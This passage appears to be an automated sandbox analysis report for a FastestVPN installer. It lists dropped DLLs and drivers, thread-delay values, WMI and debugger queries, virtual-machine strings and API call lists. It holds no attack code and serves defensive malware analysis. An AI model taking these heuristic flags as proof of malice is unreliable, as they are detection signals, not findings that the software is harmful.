    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\System.Threading.Tasks.Extensions.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\System.Memory.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-EUPO7.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-8M1QQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-BMT4K.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-PT7JD.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\is-3BVSP.tmpJump to dropped file
    Source: C:\Windows\System32\xcopy.exeDropped PE file which has not been started: C:\Windows\System32\drivers\fastestvpndriver.sysJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-8MGRV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-U4UD1.tmpJump to dropped file
    Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-CIEMI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.RAS.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\BouncyCastle.Crypto.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Microsoft.AspNet.SignalR.Client.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-F3KEK.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-J47PI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.BLL.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\fix-dns-leak-32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\vcruntime140.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-88O7S.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\msvcr100.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\WpfAnimatedGif.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\is-56JKD.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-E39BQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\openvpn.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-NJEU5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.RAS.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Microsoft.AppCenter.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.OpenVpn.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\i386\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-QGH94.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\libeay32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\libcrypto-1_1-x64.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-RCMHQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-KHD5M.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.OpenVpn.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-IQDKV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-PVDB2.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\libpkcs11-helper-1.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Flurl.Http.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-GVJD7.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-KI25U.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Newtonsoft.Json.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-HF6P6.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Security.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-QB0TS.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\release\is-K1359.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-UNANK.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-1MJTU.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-2M5AV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-A65FP.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-4JTDD.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-G4HV7.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\tapinstallWin32.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-AA9TI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-28L78.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-10HRM.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\fix-dns-leak-32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-KH3QE.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-VO662.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-3IEGE.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.WireGuard.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\System.Numerics.Vectors.dll (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\drivers\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-CRM8G.tmp\_isetup\_setup64.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-3A406.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-CEUK8.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Updater.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.WireGuard.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\SQLitePCLRaw.core.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Cors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-TJ0RL.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\System.Runtime.CompilerServices.Unsafe.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Hardcodet.NotifyIcon.Wpf.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\tapinstallWin64.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-6S3D1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.AdvancedNetwork.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-NHJNP.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-VCK53.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.DI.dll (copy)Jump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeAPI coverage: 5.8 %
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeAPI coverage: 3.4 %
    Source: C:\Program Files\FastestVPN\FastestVPN.exe TID: 6496Thread sleep time: -922337203685477s >= -30000sJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exe TID: 3160Thread sleep time: -60000s >= -30000sJump to behavior
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5200Thread sleep count: 2668 > 30
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6712Thread sleep count: 627 > 30
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5452Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4476Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\svchost.exe TID: 5736Thread sleep time: -30000s >= -30000s
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe TID: 3920Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe TID: 5684Thread sleep count: 602 > 30
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe TID: 5684Thread sleep count: 175 > 30
    Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
    Source: C:\Program Files\FastestVPN\FastestVPN.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystemProduct
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70ECAC FindFirstFileExW,FindNextFileW,FindClose,10_2_00007FF76A70ECAC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70E0B0 _invalid_parameter_noinfo,_invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,10_2_00007FF76A70E0B0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70E810 FindFirstFileExW,10_2_00007FF76A70E810
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A70E0B0 _invalid_parameter_noinfo,_invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,10_2_00007FF76A70E0B0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D3630 GetWindowsDirectoryW,FindFirstFileW,FindNextFileW,FindClose,10_2_00007FF76A6D3630
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 46_2_0103172D __EH_prolog,#540,#922,#858,#800,#2910,wcslen,#2910,wcslen,#823,GetLastError,_CxxThrowException,#2910,#2910,swprintf,FindFirstFileW,GetLastError,#825,#2910,FindFirstFileW,wcscmp,wcscmp,wcscmp,#535,#942,#942,#535,#942,#942,#800,FindNextFileW,FindClose,#800,46_2_0103172D
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 46_2_01031DDF __EH_prolog,#540,#925,#858,#800,#2910,wcslen,wcslen,#2910,wcslen,#823,GetLastError,_CxxThrowException,#2910,#2910,swprintf,FindFirstFileW,GetLastError,#825,#2910,FindFirstFileW,wcscmp,wcscmp,#540,#538,#922,#925,#858,#800,#800,#800,#925,#800,#858,#800,FindNextFileW,FindClose,#800,46_2_01031DDF
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_100163B0 GetLogicalDriveStringsW,QueryDosDeviceW,GetDriveTypeW,EnterCriticalSection,LeaveCriticalSection,31_2_100163B0
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_100013F0 ResetEvent,GetSystemInfo,31_2_100013F0
    Source: C:\Program Files\FastestVPN\FastestVPN.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\Jump to behavior
    Source: svchost.exe, 00000010.00000003.1897978703.000001B332F1D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .@vmnetextension
    Source: powershell.exe, 00000020.00000002.1987434120.000000000717F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
    Source: mnFHs2DuKg.tmp, 00000002.00000002.2149768941.00000000033E5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\l
    Source: FastestVPN.exe, 00000018.00000002.2754636491.000000000ABBF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWMD
    Source: svchost.exe, 0000002A.00000002.2721423072.000001B240C2B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW0
    Source: svchost.exe, 0000002A.00000003.2024173580.000001B241A31000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: NXTVMWare
    Source: FastestVPN.exe, 00000018.00000002.2757229273.000000000ACCD000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2718141562.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.2726182007.00000296AE858000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.2722740687.00000296A902B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722013145.000001B240CC1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
    Source: powershell.exe, 00000020.00000002.1987434120.000000000717F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: stringComputer System ProductComputer System ProductUGEXT19AC52742-8547-84D6-5349-ECEC87A66D67VMware, Inc.None
    Source: svchost.exe, 00000010.00000002.1925875740.000001B332F3A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @vmnetextension
    Source: svchost.exe, 00000010.00000003.1898585104.000001B332F17000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @ethernetwlanppipvmnetextension7A}
    Source: powershell.exe, 00000020.00000002.1987434120.000000000717F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: stringComputer System ProductComputer System ProductUGEXT19AC52742-8547-84D6-5349-ECEC87A66D67VMware, Inc.Noney*
    Source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000CF8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information queried: ProcessInformationJump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess queried: DebugPort
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess queried: DebugPort
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A706788 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,10_2_00007FF76A706788
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D6C90 SetupOpenInfFileW,GetLastError,SetupFindFirstLineW,SetupGetStringFieldW,SetupFindFirstLineW,SetupGetStringFieldW,CLSIDFromString,SetupDiGetClassDescriptionExW,LoadLibraryW,GetProcAddress,GetLastError,GetLastError,SetupFindFirstLineW,SetupGetStringFieldW,SetupGetStringFieldW,SetupCloseInfFile,FreeLibrary,10_2_00007FF76A6D6C90
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A7157E0 GetProcessHeap,10_2_00007FF76A7157E0
    Source: C:\Program Files\FastestVPN\subinacl.exeProcess token adjusted: Debug
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A706788 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,10_2_00007FF76A706788
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D8738 SetUnhandledExceptionFilter,10_2_00007FF76A6D8738
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D8550 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,10_2_00007FF76A6D8550
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D7B18 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,10_2_00007FF76A6D7B18
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_004054F3 _raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,31_2_004054F3
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_0040148B SetUnhandledExceptionFilter,31_2_0040148B
